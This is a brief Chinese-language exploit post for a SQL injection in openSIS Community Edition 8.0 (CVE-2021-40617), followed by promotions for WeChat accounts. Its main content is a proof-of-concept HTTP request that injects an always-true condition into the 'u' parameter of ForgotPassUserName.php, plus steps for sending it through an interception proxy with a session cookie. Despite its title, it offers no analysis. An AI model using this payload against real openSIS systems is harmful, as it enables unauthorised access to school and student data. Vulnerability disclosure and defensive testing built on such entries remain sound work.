openSIS 8.0 SQL注入漏洞技术分析与利用

漏洞标题: openSIS Community Edition 8.0 - SQL 注入

日期: 2025-11-25

漏洞作者: CodeSecLab

供应商主页: https://github.com/OS4ED/openSIS-Classic

软件链接: https://github.com/OS4ED/openSIS-Classic

版本: 8.0

测试环境: Windows

CVE : CVE-2021-40617

漏洞证明

GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close

复现步骤

1. 以管理员用户身份登录。
2. 使用诸如Burp Suite之类的Web代理工具拦截并发送恶意请求，确保请求中包含有效的会话Cookie。
3. 观察结果。
   更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
   对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）

公众号二维码

公众号二维码